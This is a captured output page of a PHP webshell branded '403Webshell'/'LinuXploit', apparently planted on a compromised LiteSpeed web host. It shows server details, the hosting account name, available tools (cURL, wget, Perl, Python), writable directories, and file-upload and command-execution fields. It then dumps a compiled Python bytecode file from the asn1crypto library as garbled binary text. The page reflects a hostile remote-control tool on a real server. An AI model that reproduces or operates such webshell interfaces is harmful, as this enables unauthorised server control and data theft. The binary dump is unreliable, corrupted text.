403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.191.86.218
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.6/site-packages/asn1crypto/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/asn1crypto/__pycache__/_iri.cpython-36.pyc
3

<O�X�!�@s�dZddlmZmZmZmZddlmZddlZddl	Z	ddl
Z
ddlmZddl
mZmZmZmZmZe
jdkr�dd	lmZmZdd
lmZmZnddlmZmZmZmZdd
�Zdd�Zdd�Zej de�ddd�Z!ddd�Z"dS)z�
Functions to convert unicode IRIs into ASCII byte string URIs and back. Exports
the following items:

 - iri_to_uri()
 - uri_to_iri()
�)�unicode_literals�division�absolute_import�print_function)�idnaN�)�unwrap)�byte_cls�str_cls�	type_name�
bytes_to_list�	int_types�)�urlsplit�
urlunsplit)�quote�unquote)r�unquote_to_bytesrrcCs t|t�sttdt|����d}tjdkr�|jd�r�|jd�r�d}tj	d|�}|rt|j
d�}d|t|�d�}t|�}|r�||dd�}t
|dd��}nt|�}|dkr�t
|j�}|j}|dk	r�|jd
�}t
|jdd�}t
|jdd�}|j}|dk	�rt|�jd
�}d}	|dk	�r>|	|7}	|�r6|	d|7}	|	d7}	|dk	�rP|	|7}	|dk	�r�|dk�oj|dk}
|dk�o||dk}|
�r�|�r�|	d|7}	t
|jdd�}t
|jdd�}
t
|jdd�}|
dk�r�|dk�r�|dk�r�d}|dk�r�d}t||	||
|f�}t|t��r|jd�}|S)z�
    Normalizes and encodes a unicode IRI into an ASCII byte string URI

    :param value:
        A unicode string of an IRI

    :return:
        A byte string of the ASCII-encoded URI
    z@
            value must be a unicode string, not %s
            N��zhttp://zhttps://z	^[^:]*://rrrz!$&'()*+,;=)�safe�ascii��:�@shttps80shttpss443z/!$&'()*+,;=@:z/?!$&'()*+,;=@:�/��latin1)rr���)�
isinstancer
�	TypeErrorrr�sys�version_info�
startswith�re�match�group�lenr�	_urlquote�scheme�hostname�encode�username�password�port�path�query�fragmentr)�valuer)Zreal_prefixZprefix_match�parsedr*r,r-r.�netlocZdefault_httpZ
default_httpsr/r0r1�output�r6�/usr/lib/python3.6/_iri.py�
iri_to_uri%sd
"








r8cCs*t|t�sttdt|����t|�}|j}|dk	r<|jd�}t|j	ddgd�}t|j
ddgd�}|j}|rt|jd�}|j}|r�t|t
�r�|jd�}d}|dk	r�||7}|r�|d|7}|d7}|dk	r�||7}|dk	r�|dt|�7}t|jd	gd
d�}t|jdd
gd
d�}	t|j�}
t||||	|
f�S)z�
    Converts an ASCII URI byte string into a unicode IRI

    :param value:
        An ASCII-encoded byte string of the URI

    :return:
        A unicode string of the IRI
    z=
            value must be a byte string, not %s
            Nr�:�@)�remaprr�/T)r;�preserve�&�=)rr	r rrrr)�decode�_urlunquoter,r-r*r.r
r
r/r0r1r)r2r3r)r,r-r*r.r4r/r0r1r6r6r7�
uri_to_irius<




rBcCs4t|j|j|j��}dd�|D�}dj|�|jfS)a>
    Error handler for decoding UTF-8 parts of a URI into an IRI. Leaves byte
    sequences encoded in %XX format, but as part of a unicode string.

    :param exc:
        The UnicodeDecodeError exception

    :return:
        A 2-element tuple of (replacement unicode string, integer index to
        resume at)
    cSsg|]}d|�qS)z%%%02xr6)�.0Znumr6r6r7�
<listcomp>�sz,_iri_utf8_errors_handler.<locals>.<listcomp>r)r�object�start�end�join)�excZ
bytes_as_ints�replacementsr6r6r7�_iri_utf8_errors_handler�s
rK�iriutf8rcs�|dks|dkrdSg�tjd|�rX�fdd�}tjd||�}�fdd�}tjd||�}t|jd	��jd	�d
�}t|t�s�|jd�}t��dkr��fd
d�}tjd||�}|S)a
    Quotes a unicode string for use in a URL

    :param string:
        A unicode string

    :param safe:
        A unicode string of character to not encode

    :return:
        None (if string is None) or an ASCII byte string of the quoted string
    Nrz%[0-9a-fA-F]{2}csDt|jd��}|jdd�}x$t��D]}|j|dt|��}q$W|S)Nrzutf-8rLz%%%02x)rr&r@�list�replace�ord)r%�byte_stringZunicode_stringZ	safe_char)rr6r7�
_try_unescape�s
z _urlquote.<locals>._try_unescapez(?:%[0-9a-fA-F]{2})+cs�j|jd�jd��dS)Nrr�)�appendr&r+)r%)�escapesr6r7�_extract_escape�sz"_urlquote.<locals>._extract_escapezutf-8)rrrcs
�jd�S)Nr)�pop)�_)rTr6r7�_return_escape�sz!_urlquote.<locals>._return_escapes%00)r$�search�sub�urlquoter+rr	r')�stringrrQrUr5rXr6)rTrr7r(�s

r(c	Cs�|dkr|S|dkrdS|rfdddddg}i}x6|D].}|jd	�}|||<|j|jd
�|jd
��}q4Wt|�}|r�x,|D]$}|j|jd
�dt|�jd
��}qxW|jdd
�}|r�x |j�D]\}}|j||�}q�W|S)a
    Unquotes a URI portion from a byte string into unicode using UTF-8

    :param byte_string:
        A byte string of the data to unquote

    :param remap:
        A list of characters (as unicode) that should be re-mapped to a
        %XX encoding. This is used when characters are not valid in part of a
        URL.

    :param preserve:
        A bool - indicates that the chars to be remapped if they occur in
        non-hex form, should be preserved. E.g. / for URL path.

    :return:
        A unicode string
    Nrr�����rrz%%%02xzutf-8rL)rVrNr+rrOr@�items)	rPr;r=rJZpreserve_unmap�charZreplacementr5Zoriginalr6r6r7rA�s(


$rA)r)r)NN)#�__doc__Z
__future__rrrrZ	encodingsr�codecsr$r!Z_errorsrZ_typesr	r
rrr
r"ZurlparserrZurllibrr[rrZurllib.parser8rBrK�register_errorr(rAr6r6r6r7�<module>	s"
P4
4

Youez - 2016 - github.com/yon3zu
LinuXploit